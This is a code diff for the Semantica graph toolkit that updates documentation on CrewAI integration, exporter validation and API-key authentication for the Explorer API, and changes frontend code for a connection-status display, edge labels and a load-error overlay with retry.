> **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder to be configured. Set `Crew(embedder=...)` (or provide the default credentials CrewAI falls back to, e.g. `OPENAI_API_KEY`). If no working embedder is configured, storage fails, an ERROR is logged, and agents will retrieve **nothing** — the crew still runs, but its knowledge queries return empty.
|
||||
|
||||
**Compatibility:** CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both legacy and current methods, so it works across `crewai>=0.80.0`.
|
||||
</Tab>
|
||||
</Tabs>
|
||||
|
||||
## Checkpoints & Serialization
|
||||
|
||||
CrewAI serializes tools and knowledge sources to JSON for checkpointing/resume. Live Semantica state (`ContextGraph`, `AgentContext`, extractors) is **excluded from that serialization** — a restored tool/source comes back with a fresh in-memory `ContextGraph` and logs a warning. Until you re-attach the live graph/context, the restored objects answer queries against an **empty** graph, so re-wire them after resuming (e.g. `restored_tool.graph = live_graph`) before agents continue.
|
||||
|
||||
## API Reference
|
||||
|
||||
```python
|
||||
from integrations.crewai import (
|
||||
SemanticaKGTool, # BaseTool: KG construction/query actions
|
||||
SemanticaDecisionTool, # BaseTool: decision intelligence actions
|
||||
SemanticaKnowledgeSource, # BaseKnowledgeSource: graph → crew knowledge
|
||||
CREWAI_AVAILABLE, # bool: True if crewai is installed
|
||||
)
|
||||
```
|
||||
|
||||
All three classes are usable without `crewai` installed: they carry the full Semantica API and degrade gracefully.
|
||||
|
||||
## See Also
|
||||
|
||||
- [Context Module](../reference/context) — AgentContext and ContextGraph backing the integration.
|
||||
- [Semantic Extraction](../reference/semantic_extract) — NERExtractor / RelationExtractor used by SemanticaKGTool.
|
||||
- [LLMs](../reference/llms) — Configure LLM providers for your crew's agents.
|
||||
- [Vector Store](../reference/vector_store) — Vector backend used by SemanticaDecisionTool.
|
||||
@@ -203,6 +203,13 @@ export_lpg(graph, "import.cypher", method="cypher")
|
||||
exporter = SemanticNetworkYAMLExporter()
|
||||
exporter.export(graph, "graph.yaml")
|
||||
```
|
||||
|
||||
The YAML exporters read `entities`/`relationships`/`triplets` (with
|
||||
`nodes`/`edges` accepted as aliases, so `ContextGraph.to_dict()` exports
|
||||
directly). A non-empty mapping supplying none of them raises
|
||||
`ValidationError` rather than writing a file with every collection empty,
|
||||
as does one whose collection value is not a list of records
|
||||
(`{"entities": "abc"}`).
|
||||
</Tab>
|
||||
<Tab title="Graph DB Import">
|
||||
**LPGExporter** writes Cypher `CREATE` statements for Neo4j and Memgraph:
|
||||
@@ -236,6 +243,12 @@ export_lpg(graph, "import.cypher", method="cypher")
|
||||
|
||||
Both exporters write to a file and return `None`.
|
||||
|
||||
`LPGExporter`, `ArangoAQLExporter`, and `Neo4jCSVExporter` resolve mapping
|
||||
payloads on the same terms as the YAML exporters above, so an unrecognized
|
||||
or malformed mapping is rejected instead of exported as an empty graph.
|
||||
`Neo4jCSVExporter` still reads graph *objects* off their
|
||||
`nodes`/`entities` and `edges`/`relationships` attributes.
|
||||
|
||||
<Warning>
|
||||
**`ArangoAQLExporter.export()` and `LPGExporter.export()` write to a file and return `None`.** They do not return the AQL/Cypher string. Write to a file and read it back if you need the string.
|
||||
</Warning>
|
||||
|
||||
+10
-1
@@ -63,7 +63,9 @@ semantica-explorer --graph my_graph.json --no-browser
|
||||
python -m semantica.explorer --graph my_graph.json
|
||||
```
|
||||
|
||||
> **Security note:** The Explorer API has no built-in authentication. The default `--host 127.0.0.1` binds to localhost only, so it is not reachable from other machines on your network. If you bind to `0.0.0.0`, all graph data is readable and writable by any host that can reach the port. The CLI will print a warning in that case.
|
||||
> **Security note:** Since v0.6.5 the Explorer API requires an API key on protected routes. Set the `SEMANTICA_API_KEY` environment variable and send it as the `X-API-Key` header; without a configured key, protected routes fail closed with `503` rather than serving anonymously. To opt into unauthenticated access for local development only, set `SEMANTICA_ALLOW_ANONYMOUS=true` explicitly. (`/api/health` and `/api/info` are intentionally unauthenticated.)
|
||||
>
|
||||
> The default `--host 127.0.0.1` binds to localhost only, so it is not reachable from other machines on your network. If you bind to `0.0.0.0`, all graph data is readable and writable by any host that can reach the port (subject to API-key auth). The CLI prints a warning when binding to a non-loopback host in anonymous mode or when `SEMANTICA_API_KEY` is unset.
|
||||
|
||||
---
|
||||
|
||||
@@ -148,6 +150,8 @@ This writes the compiled assets to `../semantica/static/`. The Python server the
|
||||
| --- | --- | --- |
|
||||
| `EXPLORER_CORS_ORIGINS` | `http://localhost:5173,http://127.0.0.1:5173` | Comma-separated list of allowed CORS origins |
|
||||
| `EXPLORER_CORS_CREDENTIALS` | `false` | Set to `true` to allow credentialed cross-origin requests (only needed behind an authenticating reverse proxy) |
|
||||
| `SEMANTICA_API_KEY` | *(unset)* | API key required on protected routes since v0.6.5; send it as the `X-API-Key` header. When unset, protected routes fail closed with `503`. |
|
||||
| `SEMANTICA_ALLOW_ANONYMOUS` | `false` | Set to `true` to opt into unauthenticated access (local development only). |
|
||||
|
||||
---
|
||||
|
||||
@@ -251,6 +255,11 @@ Vite automatically tries the next available port and prints the actual URL in th
|
||||
- Confirm the backend exposes the `/ws/graph-updates` WebSocket endpoint.
|
||||
- Check DevTools → Network → WS tab for the connection status and error code.
|
||||
- Ensure the backend version matches the frontend — mixing major versions can cause protocol mismatches.
|
||||
- **Authentication:** `/ws/graph-updates` enforces the same API key as the REST routes. Browsers cannot set custom headers on a WebSocket handshake, so pass the key as a query parameter instead:
|
||||
```
|
||||
ws://127.0.0.1:8000/ws/graph-updates?api_key=<your-key>
|
||||
```
|
||||
Non-browser clients (native apps, scripts) may send it as the `X-API-Key` header. A missing or incorrect key results in close code `4401`; if `SEMANTICA_API_KEY` is unset and `SEMANTICA_ALLOW_ANONYMOUS` is not `true`, the connection is also rejected. Note that API keys in URLs appear in server logs — prefer the header for non-browser clients.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview",
|
||||
"test:graph-store": "node --test tests/graphStore.multi-edge.test.mjs",
|
||||
"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts",
|
||||
"test:graph-workspace": "node --import tsx --test tests/graphSceneState.display.test.ts tests/temporalLifecycle.test.ts",
|
||||
"test:plugin-registry": "node --import tsx --test tests/pluginRegistry.temporal.test.mjs"
|
||||
},
|
||||
"dependencies": {
|
||||
|
||||
+37
-13
@@ -67,6 +67,14 @@ type GraphStatsPayload = {
|
||||
edges?: number;
|
||||
};
|
||||
|
||||
type ConnectionStatus = 'checking' | 'online' | 'offline';
|
||||
|
||||
const CONNECTION_STATUS_LABEL: Record<ConnectionStatus, string> = {
|
||||
checking: 'Connecting…',
|
||||
online: 'System Online',
|
||||
offline: 'Backend Unreachable',
|
||||
};
|
||||
|
||||
const queryClient = new QueryClient();
|
||||
|
||||
const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({
|
||||
@@ -719,19 +727,34 @@ const shellStyles = `
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 24px;
|
||||
--status-color: #4cc38a;
|
||||
--status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='checking'] {
|
||||
--status-color: #f2b66d;
|
||||
--status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='offline'] {
|
||||
--status-color: #ff7b72;
|
||||
--status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: #4cc38a;
|
||||
box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
background: var(--status-color);
|
||||
box-shadow: var(--status-shadow-a);
|
||||
animation: landing-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.landing-status-text {
|
||||
color: #4cc38a;
|
||||
color: var(--status-color);
|
||||
font: 700 11px/1 "JetBrains Mono", monospace;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
@@ -1323,8 +1346,8 @@ const shellStyles = `
|
||||
}
|
||||
|
||||
@keyframes landing-pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); }
|
||||
50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); }
|
||||
0%, 100% { box-shadow: var(--status-shadow-a); }
|
||||
50% { box-shadow: var(--status-shadow-b); }
|
||||
}
|
||||
|
||||
.workspace-loading {
|
||||
@@ -1494,10 +1517,10 @@ function WelcomeScreen({
|
||||
onOpenDecisions: () => void;
|
||||
onOpenManage: () => void;
|
||||
}) {
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({
|
||||
nodes: null,
|
||||
edges: null,
|
||||
ready: false,
|
||||
status: 'checking',
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
@@ -1507,31 +1530,32 @@ function WelcomeScreen({
|
||||
.then((response) => (response.ok ? response.json() as Promise<GraphStatsPayload> : null))
|
||||
.then((payload) => {
|
||||
if (!payload) {
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
return;
|
||||
}
|
||||
|
||||
setStats({
|
||||
nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']),
|
||||
edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']),
|
||||
ready: true,
|
||||
status: 'online',
|
||||
});
|
||||
})
|
||||
.catch((error: unknown) => {
|
||||
if (error instanceof DOMException && error.name === 'AbortError') {
|
||||
return;
|
||||
}
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
});
|
||||
|
||||
return () => controller.abort();
|
||||
}, []);
|
||||
|
||||
const isOnline = stats.status === 'online';
|
||||
const metrics: LandingMetric[] = [
|
||||
{ label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' },
|
||||
{ label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' },
|
||||
{ label: 'Graph modes', value: '3', tone: 'amber' },
|
||||
{ label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' },
|
||||
{ label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' },
|
||||
];
|
||||
|
||||
const secondaryLaunchers: LandingAction[] = [
|
||||
@@ -1574,9 +1598,9 @@ function WelcomeScreen({
|
||||
{/* ── Hero ── */}
|
||||
<section className="landing-hero">
|
||||
<div className="landing-copy">
|
||||
<div className="landing-status-bar">
|
||||
<div className="landing-status-bar" data-status={stats.status}>
|
||||
<div className="landing-status-dot" />
|
||||
<span className="landing-status-text">System Online</span>
|
||||
<span className="landing-status-text">{CONNECTION_STATUS_LABEL[stats.status]}</span>
|
||||
<div className="landing-status-divider" />
|
||||
<span className="landing-status-version">Semantica v2 · Semantic Intelligence</span>
|
||||
</div>
|
||||
|
||||
@@ -162,7 +162,11 @@ const SIGMA_SETTINGS = {
|
||||
hideLabelsOnMove: true,
|
||||
hideEdgesOnMove: true,
|
||||
enableEdgeEvents: true,
|
||||
renderEdgeLabels: false,
|
||||
// #1009: edge labels (the edge `type` — "works_for", "leads", ...) were
|
||||
// hardcoded off, so edge text never rendered regardless of data. The
|
||||
// labelDensity / labelGridCellSize / labelRenderedSizeThreshold settings
|
||||
// below already throttle label density for both nodes and edges.
|
||||
renderEdgeLabels: true,
|
||||
labelDensity: 0.7,
|
||||
labelGridCellSize: 140,
|
||||
zIndex: true,
|
||||
@@ -741,6 +745,12 @@ function buildEffectAvailability(
|
||||
? { enabled: true, available: true, reason: "Panel enabled" }
|
||||
: { enabled: false, available: false, reason: "Disabled by toggle" };
|
||||
|
||||
// #1009: edge labels are immediately available once the graph is loaded —
|
||||
// they have no async analytics or zoom-tier dependency.
|
||||
const edgeLabels = effectsState.edgeLabelsEnabled
|
||||
? { enabled: true, available: true, reason: "Ready" }
|
||||
: { enabled: false, available: false, reason: "Disabled by toggle" };
|
||||
|
||||
const diagnostics = !GRAPH_THEME.effects.diagnostics.enabledInDev
|
||||
? { enabled: false, available: false, reason: "Disabled in production" }
|
||||
: effectsState.diagnosticsEnabled
|
||||
@@ -758,6 +768,7 @@ function buildEffectAvailability(
|
||||
communities,
|
||||
centrality,
|
||||
legend,
|
||||
edgeLabels,
|
||||
diagnostics,
|
||||
};
|
||||
}
|
||||
@@ -1211,6 +1222,12 @@ function applySceneState(
|
||||
size: resolvedStyle.size,
|
||||
zIndex: resolvedStyle.zIndex,
|
||||
curvature: resolvedStyle.curvature,
|
||||
// #1009: Sigma's edge label renderer draws data.label — the graph
|
||||
// stores the relationship type in edgeType, which the renderer never
|
||||
// saw, so enabling renderEdgeLabels alone left edges blank.
|
||||
// Use || rather than ?? so that an empty-string edgeType (possible
|
||||
// when the API returns type: "") does not produce a blank label.
|
||||
label: resolvedStyle.hidden ? undefined : String(attrs.edgeType || data.label || ""),
|
||||
};
|
||||
});
|
||||
|
||||
@@ -1295,6 +1312,9 @@ export const GraphCanvas = forwardRef<GraphCanvasHandle, GraphCanvasProps>(
|
||||
const onEdgeClickRef = useRef(onEdgeClick);
|
||||
const onSceneRuntimeChangeRef = useRef(onSceneRuntimeChange);
|
||||
const onCameraStateChangeRef = useRef(onCameraStateChange);
|
||||
// #1009: tracked as a ref so the Sigma creation effect always reads the
|
||||
// current value without needing effectsState in its dependency array.
|
||||
const effectsStateRef = useRef(effectsState);
|
||||
const [hoveredNodeId, setHoveredNodeId] = useState<string | null>(null);
|
||||
const [zoomTier, setZoomTier] = useState<GraphZoomTier>("overview");
|
||||
const [analyticsSnapshot, setAnalyticsSnapshot] = useState<GraphAnalyticsSnapshot | null>(null);
|
||||
@@ -1323,6 +1343,7 @@ export const GraphCanvas = forwardRef<GraphCanvasHandle, GraphCanvasProps>(
|
||||
onEdgeClickRef.current = onEdgeClick;
|
||||
onSceneRuntimeChangeRef.current = onSceneRuntimeChange;
|
||||
onCameraStateChangeRef.current = onCameraStateChange;
|
||||
effectsStateRef.current = effectsState;
|
||||
|
||||
const behaviors = useMemo<GraphBehavior[]>(
|
||||
() => [
|
||||
@@ -1835,7 +1856,13 @@ export const GraphCanvas = forwardRef<GraphCanvasHandle, GraphCanvasProps>(
|
||||
return;
|
||||
}
|
||||
|
||||
const sigma = new Sigma(displayGraphRef.current, containerRef.current, SIGMA_SETTINGS);
|
||||
const sigma = new Sigma(displayGraphRef.current, containerRef.current, {
|
||||
...SIGMA_SETTINGS,
|
||||
// #1009: initialize with the current toggle value rather than the
|
||||
// static default so that a user who disabled Edge Labels before
|
||||
// graph/Sigma initialization sees the correct state after mount.
|
||||
renderEdgeLabels: effectsStateRef.current.edgeLabelsEnabled,
|
||||
});
|
||||
sigmaRef.current = sigma;
|
||||
appliedGraphVersionRef.current = graphVersionRef.current;
|
||||
|
||||
@@ -1937,6 +1964,17 @@ export const GraphCanvas = forwardRef<GraphCanvasHandle, GraphCanvasProps>(
|
||||
});
|
||||
}, [behaviors, dispatchToBehaviors, getBehaviorContext, graphReady, syncCameraState]);
|
||||
|
||||
// #1009: renderEdgeLabels follows the Effects-panel toggle instead of
|
||||
// staying hardcoded — dense graphs get their label-free edges back.
|
||||
useEffect(() => {
|
||||
const sigma = sigmaRef.current;
|
||||
if (!sigma) {
|
||||
return;
|
||||
}
|
||||
sigma.setSetting("renderEdgeLabels", effectsState.edgeLabelsEnabled);
|
||||
sigma.scheduleRefresh();
|
||||
}, [effectsState.edgeLabelsEnabled]);
|
||||
|
||||
useEffect(() => {
|
||||
return () => {
|
||||
const sigma = sigmaRef.current;
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { useEffect, useRef, useState, type CSSProperties } from "react";
|
||||
import { AlertTriangle, RefreshCw } from "lucide-react";
|
||||
|
||||
import { GRAPH_THEME, withAlpha } from "./graphTheme";
|
||||
import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading";
|
||||
@@ -121,6 +122,58 @@ const LOADING_OVERLAY_CSS = `
|
||||
0% { transform: translateX(-120%); }
|
||||
100% { transform: translateX(360%); }
|
||||
}
|
||||
.graph-stage-loader-card[data-error="true"] {
|
||||
pointer-events: auto;
|
||||
border-color: rgba(255, 123, 114, 0.32);
|
||||
background:
|
||||
radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%),
|
||||
linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86));
|
||||
}
|
||||
.graph-stage-loader-error-mark {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
flex: 0 0 auto;
|
||||
border-radius: 12px;
|
||||
display: grid;
|
||||
place-items: center;
|
||||
color: #ff9e97;
|
||||
background: rgba(255, 123, 114, 0.12);
|
||||
border: 1px solid rgba(255, 123, 114, 0.28);
|
||||
}
|
||||
.graph-stage-loader-error-detail {
|
||||
padding: 10px 12px;
|
||||
border-radius: 10px;
|
||||
background: rgba(0, 0, 0, 0.32);
|
||||
border: 1px solid rgba(255, 123, 114, 0.18);
|
||||
color: #ffb4ae;
|
||||
font-family: "JetBrains Mono", "Fira Code", Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.55;
|
||||
word-break: break-word;
|
||||
}
|
||||
.graph-stage-loader-retry {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
padding: 9px 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
border: 1px solid rgba(127, 208, 255, 0.4);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16));
|
||||
color: #e8f6ff;
|
||||
transition: 160ms ease;
|
||||
}
|
||||
.graph-stage-loader-retry:hover {
|
||||
border-color: rgba(127, 208, 255, 0.62);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24));
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
.graph-stage-loader-retry:focus-visible {
|
||||
outline: 2px solid #7fd0ff;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
`;
|
||||
|
||||
function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) {
|
||||
@@ -170,10 +223,14 @@ export function GraphLoadingOverlay({
|
||||
progress,
|
||||
visible,
|
||||
showGraphBehind,
|
||||
error = null,
|
||||
onRetry,
|
||||
}: {
|
||||
progress: GraphLoadProgress | null;
|
||||
visible: boolean;
|
||||
showGraphBehind: boolean;
|
||||
error?: string | null;
|
||||
onRetry?: () => void;
|
||||
}) {
|
||||
const [renderVisible, setRenderVisible] = useState(visible);
|
||||
const [exiting, setExiting] = useState(false);
|
||||
@@ -226,6 +283,44 @@ export function GraphLoadingOverlay({
|
||||
return null;
|
||||
}
|
||||
|
||||
if (error) {
|
||||
return (
|
||||
<div
|
||||
className="graph-stage-loader"
|
||||
data-exiting={exiting}
|
||||
style={{ background: "linear-gradient(180deg, rgba(1,4,9,0.22), rgba(1,4,9,0.5))" }}
|
||||
>
|
||||
<style>{LOADING_OVERLAY_CSS}</style>
|
||||
<div className="graph-stage-loader-card" data-error="true" role="alert">
|
||||
<div style={{ display: "flex", alignItems: "flex-start", gap: 14, marginBottom: 14 }}>
|
||||
<div className="graph-stage-loader-error-mark" aria-hidden="true">
|
||||
<AlertTriangle size={18} strokeWidth={2.2} />
|
||||
</div>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#ffffff", fontSize: 20, fontWeight: 700, letterSpacing: "-0.03em", marginBottom: 6 }}>
|
||||
Could not load the graph
|
||||
</div>
|
||||
<div style={{ color: "#8fa8c6", fontSize: 13, lineHeight: 1.5 }}>
|
||||
The Explorer API did not return graph data. Check that the backend is running and reachable, then try again.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-stage-loader-error-detail">{error}</div>
|
||||
|
||||
{onRetry ? (
|
||||
<div style={{ display: "flex", gap: 10, marginTop: 16 }}>
|
||||
<button type="button" className="graph-stage-loader-retry" onClick={onRetry}>
|
||||
<RefreshCw size={14} strokeWidth={2.2} aria-hidden />
|
||||
Retry
|
||||
</button>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const activeProgress = progress ?? displayProgress;
|
||||
const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind;
|
||||
const overlayBackground = isLiveStage
|
||||
|
||||
@@ -1,479 +0,0 @@
|
||||
import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react";
|
||||
|
||||
import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore";
|
||||
import { SigmaSceneAdapter } from "./SigmaSceneAdapter";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import { resolveDisplayGraph } from "./graphSceneState";
|
||||
import {
|
||||
chooseColorAccessor,
|
||||
colorForNodeKey,
|
||||
computeDegreeMap,
|
||||
computeEdgeSize,
|
||||
computeNodeSize,
|
||||
computePageRank,
|
||||
deterministicPosition,
|
||||
} from "./graphAnalytics";
|
||||
import { GRAPH_THEME } from "./graphConfig";
|
||||
import type { GraphSceneHandle } from "./scene";
|
||||
import type {
|
||||
GraphDataSnapshot,
|
||||
GraphEffectsState,
|
||||
GraphLayoutSource,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
const STAGE_EFFECTS_STATE: GraphEffectsState = {
|
||||
pathPulseEnabled: false,
|
||||
pathFlowEnabled: false,
|
||||
lensEnabled: false,
|
||||
temporalEmphasisEnabled: false,
|
||||
semanticRegionsEnabled: false,
|
||||
contoursEnabled: false,
|
||||
pathfindingEnabled: false,
|
||||
communitiesEnabled: false,
|
||||
centralityEnabled: false,
|
||||
legendEnabled: false,
|
||||
diagnosticsEnabled: false,
|
||||
lensMode: "neighborhood",
|
||||
effectQuality: "bounded",
|
||||
};
|
||||
const EMPTY_PATH: string[] = [];
|
||||
|
||||
const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:");
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null {
|
||||
if (!nodeId || !graph.hasNode(nodeId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes;
|
||||
return {
|
||||
id: nodeId,
|
||||
label: String(attributes.label || nodeId),
|
||||
content: String(attributes.content || attributes.label || nodeId),
|
||||
nodeType: attributes.nodeType || "entity",
|
||||
color: attributes.color,
|
||||
valid_from: attributes.valid_from ?? null,
|
||||
valid_until: attributes.valid_until ?? null,
|
||||
properties: attributes.properties ?? {},
|
||||
neighborCount: graph.neighbors(nodeId).length,
|
||||
visibleNeighborCount: graph.neighbors(nodeId).length,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: graph.neighbors(nodeId).length > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: unknown): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface GraphRuntimeStageProps {
|
||||
snapshot: GraphDataSnapshot | null | undefined;
|
||||
selectedNodeId: string;
|
||||
activePath: GraphPath;
|
||||
onNodeSelect: (nodeId: string) => void;
|
||||
onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void;
|
||||
isLayoutRunning: boolean;
|
||||
onLayoutRunningChange: (running: boolean) => void;
|
||||
viewMode: GraphViewMode;
|
||||
temporalTime: Date | null;
|
||||
onActiveNodeCountChange: (count: number | null) => void;
|
||||
onProgressChange: (progress: GraphLoadProgress | null) => void;
|
||||
onLayoutStatusChange: (status: GraphLayoutStatus) => void;
|
||||
onRuntimeReady: () => void;
|
||||
}
|
||||
|
||||
export const GraphRuntimeStage = forwardRef<GraphStageHandle, GraphRuntimeStageProps>(
|
||||
function GraphRuntimeStage(
|
||||
{
|
||||
snapshot,
|
||||
selectedNodeId,
|
||||
activePath,
|
||||
onNodeSelect,
|
||||
onSelectedNodeStateChange,
|
||||
isLayoutRunning,
|
||||
onLayoutRunningChange,
|
||||
viewMode,
|
||||
temporalTime,
|
||||
onActiveNodeCountChange,
|
||||
onProgressChange,
|
||||
onLayoutStatusChange,
|
||||
onRuntimeReady,
|
||||
},
|
||||
ref,
|
||||
) {
|
||||
const sceneRef = useRef<GraphSceneHandle>(null);
|
||||
const prevActiveIdsRef = useRef<Set<string>>(new Set());
|
||||
const [graphVersion, setGraphVersion] = useState(0);
|
||||
const [runtimeLayoutSource, setRuntimeLayoutSource] = useState<GraphLayoutSource>(snapshot?.summary.layoutSource ?? "runtime");
|
||||
const displayResult = useMemo(
|
||||
() => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }),
|
||||
[activePath, graphVersion, selectedNodeId, viewMode],
|
||||
);
|
||||
|
||||
const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]);
|
||||
|
||||
useImperativeHandle(ref, () => ({
|
||||
fitView: () => sceneRef.current?.fitView(),
|
||||
focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId),
|
||||
}), []);
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
|
||||
async function hydrateSnapshot() {
|
||||
if (!snapshot) {
|
||||
return;
|
||||
}
|
||||
|
||||
onProgressChange(createGraphLoadProgress({
|
||||
phase: "computing_styling",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: snapshot.summary.nodeCount,
|
||||
nodesTotal: snapshot.summary.nodeCount,
|
||||
edgesLoaded: snapshot.summary.edgeCount,
|
||||
edgesTotal: snapshot.summary.edgeCount,
|
||||
message: "Computing runtime graph styling",
|
||||
showGraphBehind: false,
|
||||
}));
|
||||
|
||||
const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges);
|
||||
const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges);
|
||||
const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index]));
|
||||
const previousPositions = new Map<string, { x: number; y: number }>();
|
||||
|
||||
graph.forEachNode((nodeId, attributes) => {
|
||||
const raw = attributes as Partial<NodeAttributes>;
|
||||
const x = Number(raw.x);
|
||||
const y = Number(raw.y);
|
||||
if (Number.isFinite(x) && Number.isFinite(y)) {
|
||||
previousPositions.set(nodeId, { x, y });
|
||||
}
|
||||
});
|
||||
|
||||
let explicitCoordinateCount = 0;
|
||||
let carriedCoordinateCount = 0;
|
||||
const draftAttributes = snapshot.nodes.map((node) => {
|
||||
const previousPosition = previousPositions.get(node.id);
|
||||
const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)
|
||||
? { x: node.x, y: node.y }
|
||||
: previousPosition
|
||||
? previousPosition
|
||||
: deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length);
|
||||
|
||||
if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) {
|
||||
explicitCoordinateCount += 1;
|
||||
} else if (previousPosition) {
|
||||
carriedCoordinateCount += 1;
|
||||
}
|
||||
|
||||
return {
|
||||
id: node.id,
|
||||
attributes: {
|
||||
label: node.content || node.id,
|
||||
x: position.x,
|
||||
y: position.y,
|
||||
nodeType: node.type,
|
||||
content: node.content,
|
||||
valid_from: node.valid_from,
|
||||
valid_until: node.valid_until,
|
||||
properties: node.properties,
|
||||
} as NodeAttributes,
|
||||
};
|
||||
});
|
||||
|
||||
const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0
|
||||
? "provided"
|
||||
: carriedCoordinateCount > 0
|
||||
? "carried"
|
||||
: "runtime";
|
||||
const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0;
|
||||
setRuntimeLayoutSource(layoutSource);
|
||||
|
||||
const colorAccessor = chooseColorAccessor(draftAttributes);
|
||||
await yieldToMain();
|
||||
